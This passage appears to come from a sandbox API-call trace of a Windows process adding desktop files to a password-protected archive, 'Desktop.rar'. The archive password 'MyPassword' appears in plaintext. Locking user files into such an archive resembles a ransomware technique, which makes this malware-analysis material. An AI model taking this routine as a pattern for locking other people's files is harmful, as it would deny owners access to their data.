Size=0x7a) returned 0x1ec0a64a460 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.426] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0067.428] GetTickCount () returned 0x26bfe [0067.428] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15875667510) returned 1 [0067.428] GetTickCount () returned 0x26bfe [0067.428] GetTickCount () returned 0x26bfe [0067.428] GetTickCount () returned 0x26bfe [0067.428] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.428] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.428] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.429] ResetEvent (hEvent=0x344) returned 1 [0067.429] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.430] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.430] ResetEvent (hEvent=0x344) returned 1 [0067.430] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.432] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.432] GetTickCount () returned 0x26bfe [0067.432] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15876120908) returned 1 [0067.434] GetTickCount () returned 0x26c0e [0067.434] GetTickCount () returned 0x26c0e [0067.434] GetTickCount () returned 0x26c0e [0067.434] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.434] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.434] GetFocus () returned 0x102a8 [0067.434] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.434] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.434] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.434] GetFocus () returned 0x102a8 [0067.435] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.435] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.435] ResetEvent (hEvent=0x33c) returned 1 [0067.435] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.436] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.436] ResetEvent (hEvent=0x33c) returned 1 [0067.436] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.437] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.437] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.437] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.437] GetFocus () returned 0x102a8 [0067.437] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.437] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.437] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xe44a4 [0067.437] SetFilePointer (in: hFile=0x32c, lDistanceToMove=98, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xe4506 [0067.437] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.437] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.437] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.437] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.437] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x9430, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x9430, lpOverlapped=0x0) returned 1 [0067.438] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.438] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.438] GetFocus () returned 0x102a8 [0067.438] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.439] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.439] SetFilePointer (in: hFile=0x32c, lDistanceToMove=935076, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xe44a4 [0067.439] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xe44a4 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.439] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a656ce0 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.439] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a6577d0 [0067.439] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.439] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656ce0 | out: hHeap=0x1ec0a590000) returned 1 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.439] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.439] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.439] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.439] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a656c90 [0067.439] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656c90, Size=0x7a) returned 0x1ec0a64a460 [0067.439] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x62, lpOverlapped=0x0) returned 1 [0067.440] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef700 [0067.440] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x62) returned 0x1ec0ddfdec0 [0067.440] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.440] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0067.440] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xed936 [0067.440] CloseHandle (hObject=0x350) returned 1 [0067.440] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.440] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.440] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.440] FindFirstFileW (in: lpFileName="jkHmqBwZLlx L8N.m4a", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.440] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.440] CreateFileW (lpFileName="jkHmqBwZLlx L8N.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\jkhmqbwzllx l8n.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.440] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.440] GetTickCount () returned 0x26c0e [0067.440] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.440] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.440] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.440] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.441] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="Jil3P9aQS_.avi") returned 14 [0067.441] SetWindowTextW (hWnd=0x1028c, lpString="jkHmqBwZLlx L8N.m4a") returned 1 [0067.441] GetTickCount () returned 0x26c0e [0067.441] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.441] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.441] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.441] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.441] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2c, wMilliseconds=0x3a1)) [0067.441] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.441] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15877008700) returned 1 [0067.442] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x18fea, lpOverlapped=0x0) returned 1 [0067.442] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91e02a, nNumberOfBytesToRead=0xe7016, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91e02a*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.442] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.442] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.442] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.442] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.442] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656a10 [0067.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a6574b0 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0067.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0067.443] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef8b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0067.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a6577d0 [0067.443] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a610 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6574b0 | out: hHeap=0x1ec0a590000) returned 1 [0067.443] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0067.444] GetTickCount () returned 0x26c0e [0067.444] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15877247669) returned 1 [0067.444] GetTickCount () returned 0x26c0e [0067.444] GetTickCount () returned 0x26c0e [0067.444] GetTickCount () returned 0x26c0e [0067.444] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.444] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.444] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.444] ResetEvent (hEvent=0x344) returned 1 [0067.444] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.446] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.446] ResetEvent (hEvent=0x344) returned 1 [0067.446] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.450] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.450] ResetEvent (hEvent=0x344) returned 1 [0067.450] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.453] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.454] GetTickCount () returned 0x26c1e [0067.454] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15878224459) returned 1 [0067.454] GetTickCount () returned 0x26c1e [0067.454] GetTickCount () returned 0x26c1e [0067.454] GetTickCount () returned 0x26c1e [0067.454] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.454] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.454] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.454] ResetEvent (hEvent=0x33c) returned 1 [0067.454] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.455] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.455] ResetEvent (hEvent=0x33c) returned 1 [0067.455] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.456] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.456] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.456] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.456] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0xed936 [0067.456] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0xed99d [0067.456] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.456] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.456] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.456] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.456] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x190d0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x190d0, lpOverlapped=0x0) returned 1 [0067.461] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.461] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.461] SetFilePointer (in: hFile=0x32c, lDistanceToMove=973110, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0xed936 [0067.461] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0xed936 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.461] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a657140 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.461] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefd60, Size=0x48) returned 0x1ec0a656fb0 [0067.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0067.461] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0067.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0067.461] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0067.461] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa30, Size=0x48) returned 0x1ec0a6569c0 [0067.461] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a64aa00 [0067.461] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64aa03*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64aa03*, lpNumberOfBytesWritten=0xe414d8140*=0x67, lpOverlapped=0x0) returned 1 [0067.462] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefd60 [0067.462] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x67) returned 0x1ec0ddfd910 [0067.462] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0067.462] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64aa00 | out: hHeap=0x1ec0a590000) returned 1 [0067.462] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x106a6d [0067.462] CloseHandle (hObject=0x350) returned 1 [0067.462] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.462] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.462] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.462] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.462] FindFirstFileW (in: lpFileName="k5qtEIg5teHIWg.png", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0067.463] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.463] CreateFileW (lpFileName="k5qtEIg5teHIWg.png" (normalized: "c:\\users\\fd1hvy\\desktop\\k5qteig5tehiwg.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.463] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.463] GetTickCount () returned 0x26c1e [0067.463] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.463] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.463] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.463] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.463] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="jkHmqBwZLlx L8N.m4a") returned 19 [0067.463] SetWindowTextW (hWnd=0x1028c, lpString="k5qtEIg5teHIWg.png") returned 1 [0067.464] GetTickCount () returned 0x26c6c [0067.529] UpdateWindow (hWnd=0x10284) returned 1 [0067.529] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 1 [0067.532] GetMessageW (in: lpMsg=0xe414dd6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd6b0) returned 1 [0067.532] GetFocus () returned 0x102a8 [0067.532] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd6b0) returned 1 [0067.532] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.532] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.532] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.532] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x16)) [0067.532] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.532] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15886110562) returned 1 [0067.533] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: 